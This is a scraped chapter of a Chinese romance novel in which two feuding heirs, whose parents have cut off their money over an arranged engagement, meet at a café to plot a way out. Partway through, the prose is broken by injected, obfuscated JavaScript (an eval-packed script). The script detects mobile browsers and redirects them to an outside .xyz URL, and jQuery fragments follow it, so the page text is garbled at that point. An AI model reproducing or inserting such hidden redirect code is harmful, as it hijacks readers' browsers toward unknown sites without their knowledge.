06
被她拉黑的,会在这种情况下给她发消息的,毫无疑问,只有一个人。
脑海里浮现那人的脸,尤羡好的脸瞬间拉了下来。
五分钟前,她经历了二十年来最难堪的事。
三分钟前,又刚得知自己被停了卡的事实。
陈见渝现在的消息,毫无疑问是撞她枪口上了。
她就是因为这个破婚约被停了卡!
要是没婚约这回事,她哪里会沦落到这种地步?
从小到大尤女士都没对她这么狠心过!
一切怒火在此刻都像找到了合适的发泄口,尤羡好盯着屏幕上的两条消息,从喉咙里溢出声冷笑,用力在屏幕上敲下两个字:
【地址】
-
下午三点半,榕树下咖啡厅。
午后的阳光透过玻璃窗柔和地倾洒在室内复古的壁画,时不时叮铃晃动的风铃、低低交谈的人声与轻盈舒缓的弦乐交织演奏,汇成舒适悠扬的底噪。
处于角落的窗边,俊男靓女相对而坐,像文艺电影里唯美的画面——
如果忽视两人的关系的话。
穿着雾紫色雪纺裙的女孩雪白脖颈修长,脊背挺直,正微微垂首划着手机。
对面,身着西装的男人散漫地单手托腮,随意扫了眼清单便合上,下一秒,声音和递出去的皮面菜单一同响起:“一杯馥芮白,一杯冰美式。”
尤羡好正低头实时给姜盼月“汇报战况”,闻声手指轻顿,还是忍不住从鼻腔里轻嗤出一声气音,嘀嘀咕咕起来:“又酸又苦,不知道有什么好喝的……装。”
她从小怕苦。
自十岁那年被陈见渝骗着尝了一口,此后十年,至今都没再喝过美式。
在她眼里,中药都比这玩意儿好喝。
中药还能调理身体呢,美式有什么用?为了哪天手术需要输血的时候能直接输浓缩?
事实证明,看一个人不爽的时候,对方连呼吸都是错的。哪怕明知是陈见渝一向的喜好,尤羡好此刻依然觉得这个事实碍眼极了。
“什么?”男人忽然抬睫看来一眼。
尤羡好按灭手机,露出一个假笑来,“我说没想到你还记得我喝馥芮白。”
因为她喝不来太苦的,拿铁又太甜,为了维持形体,这么多年,她都雷打不动只喝馥芮白。
服务员很快将两杯咖啡送来,陈见渝少见地竟没呛她,倒是从一旁拿上来把白色的折叠伞递上前,“你的伞,上午走的时候忘拿了。”
“……”
她气势汹汹地来,结果人家就是给她还把伞?
尤羡好迅速伸手把伞拿过放到身边,轻咳一声,“……就这个?”
她说着低头抿了口咖啡。
随着微微倾身的动作,女孩漆黑柔软的长卷发垂落一侧,将她裸露在外的肌肤衬得如雪。
陈见渝盯着她轻晃的长发,毫无预兆地又想起上午无意触碰到的,漫着馨香的细软发丝。
柑橘的清香似乎又缠绕上指尖,男人表情微顿,就在这时,女孩似乎觉察了他的视线,黑眸轻抬。
“……干嘛这么看我。”她机警地开口。
陈见渝倏然回神,后知后觉被自己无端的联想一惊,手指无意识捏紧了杯柄。
“……还有别的。”
不动声色地喝了口咖啡,男人敛下琥珀眸底闪过的困惑,待冰冷的液体润过喉咙,才缓缓起势:“我想问你,关于婚约——”
你怎么看?
“你就庆幸吧!”
尤羡好立马又想起来这回事,“要不是我先跑了,你还不知道要面对什么呢。”
毕竟是在她家聊,要是陈见渝真知道了他过来是聊联姻的事,当着她爸妈的面,他做什么反应都不合适。
现在她先跑了,火力都到了她身上,他才能在现在这么平静地坐在她面前跟她聊这些。
尤羡好默认了陈见渝也绝不可能答应,但她还是有些疑问:“你爸妈跟你说了什么让你来的?”
尽管她并没有说清条理,但陈见渝还是从她透露的三言两语里听明白了她的逻辑。
“……就是说要商量点事,以往也没少吩咐我,我就没多问。”他弯起指节,擦过鼻尖。
“噢。”
尤羡好没怀疑,双手撑在沙发两边,视线随意扫过他,忽然又觉得少点什么。
……他那魔方今天怎么没在身边?
想到魔方,她视线不由自主往他两侧看了看,目光数次掠过他身上,几秒后,蓦地定在了他的穿着上,“……你今天怎么穿这么正经?”
男人倏地一顿。
几秒后。
“晚点我要替我爸去婚宴随份子,”他说,“我以为跟往常一样吃个午饭就走了,懒得再回去一趟换衣服而已。”
似是为了证实自己话里的真实性,话落,他视线微抬,眉尾在扫过她狐疑的表情时又高高一挑,陈见渝语气微妙:“……你不会以为我是为了见你特地穿的西装吧?”
“特地”两个字加了重音,刻意微提的尾音更是就差把“自作多情”四个字贴她脑门上了。
尤羡顿时被他含沙射影激恼炸了毛:“谁这么以为了!”
女孩本能想找回颜面,扬起下巴睨他,“要不是因为尤女士停了我的卡,我才不会来见你!”
“……停了你的卡?”
陈见渝怔了怔,在对上尤羡好视线的一瞬,又蓦然清醒。
弯曲的指节不着痕迹地轻叩桌面,有什么念头迅速在脑海成型,他眉梢轻挑,“所以你也被停了?”
“‘也’?”
尤羡好睁睁眼,看见男人微臭的脸,不快的情绪倏然褪去一半,“难道你也——”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422372|184768||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>自己的不幸固然郁闷,但死对头相同的沦落更令人畅快。
同病相怜,尤羡好心头的郁结顿时一扫而空,她幸灾乐祸地嘲笑:“你也有今天。”
“……”
陈见渝暗自磨牙,面无表情地提醒她:“我起码还能先把车卖了撑一阵。”
尤羡好的笑容瞬间消失。
除了那辆五百万以外,陈见渝名下丢在车库生灰的跑车都有两只手。
不仅如此,他平时还爱收藏些名表。他完全可以趁他父母反应过来前随便出手几块,够他舒舒服服撑过一段时间。
她越想越后悔。
尤女士之前有让她去学车的,说考出驾照以后就让她去挑一辆,但她想着平时出行招呼陈见渝就可以,再不济姜盼月也能载她,就没考。
尤大小姐出门自有司机,哪需要自己开车。
要早知道有今天,她说什么也得把驾照考了。
现在一切为时太晚,尤羡好只能愤愤地说风凉话:“你别得意,要是你爸妈和我爸妈铁了心要断我们的经济,他们会想不到你可以卖车吗?”
“那你呢?”
陈见渝手指无声地划蹭过杯沿,重复一遍她的话,不答反问,“他们要真铁了心,你打算怎么办?”
“……”
“我能怎么办?”
尤羡好被抽了骨头似得耷拉下脑袋,有气无力地说,“我连今晚的饭都不一定吃得起。”
两人面面相觑,无言沉默。
尤羡好双臂交叠,侧脸贴在小臂望向窗外,像霜打的茄子般失了气势,“我还以为你是有了解决的方法才来找我……”
阳光倾洒,为女孩的发梢和长睫都渡上一层金边,陈见渝视线停留一瞬,顿了顿,忽然道:
“方法……也不是没有。”
“!”
尤羡好立马活了过来,转过头,长发荡了荡,水眸亮晶晶地看着他,“什么办法?”
“但需要你配合。”
陈见渝说着伸出一根手指,朝她勾了勾,示意她凑上前。
一听还有自己的事,尤羡好狐疑地看着他,没动。
就这么对峙了两秒,谁也没动,陈见渝眉尾一扬,忽地收手,抱臂往后一靠,“既然不想听,那就算——”
“别呀,”
尤羡好连忙在他话落前往前一倾身,做出洗耳恭听的表情,“我听听。”
陈见渝这才露出勉强的表情,重新直起身,微微凑上前,在她耳边开口。
“……”
几秒后。
陈见渝话才说一半,尤羡好就猛地往后一仰,“不行!”
女孩睖睁着眼,神情惊恐地抱了抱自己的手臂,一副恨不得弹出他十米远架势,脱口而出:“你不要名声,我还要呢!”
陈见渝:“……”
陈见渝:“?”